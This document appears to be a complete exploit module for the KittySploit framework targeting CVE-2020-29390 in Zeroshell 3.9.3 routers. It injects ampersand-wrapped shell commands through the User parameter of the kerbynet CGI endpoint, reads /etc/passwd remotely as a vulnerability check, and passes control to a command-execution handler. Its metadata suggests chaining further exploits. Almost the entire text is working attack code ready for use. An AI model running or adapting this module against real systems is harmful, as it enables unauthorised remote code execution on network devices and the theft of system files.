Zeroshell kerbynet RCE (CVE-2020-29390)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Zeroshell kerbynet ampersand injection (CVE-2020-29390)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Zeroshell kerbynet RCE (CVE-2020-29390)',
        'description': (
            'Exploits CVE-2020-29390 in Zeroshell 3.9.3: shell metacharacter injection '
            'via ampersand-wrapped commands in StartSessionSubmit User parameter.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2020-29390'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2020-29390'],
        'tags': ['zeroshell', 'router', 'rce', 'cmdi', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': [
                    'scanner/http/cve_2020_29390_detect',
                    'exploits/linux/http/zeroshell_cve_2019_12725_rce',
                ],
            },
        },
    }

    def execute(self, cmd: str) -> str:
        user = f"'&{cmd}&'"
        path = (
            '/cgi-bin/kerbynet?Action=StartSessionSubmit'
            f'&User={urllib.parse.quote(user, safe="")}&PW='
        )
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('cat /etc/passwd')
        if re.search(r'root:.*:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2020-29390 confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Zeroshell injection failed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()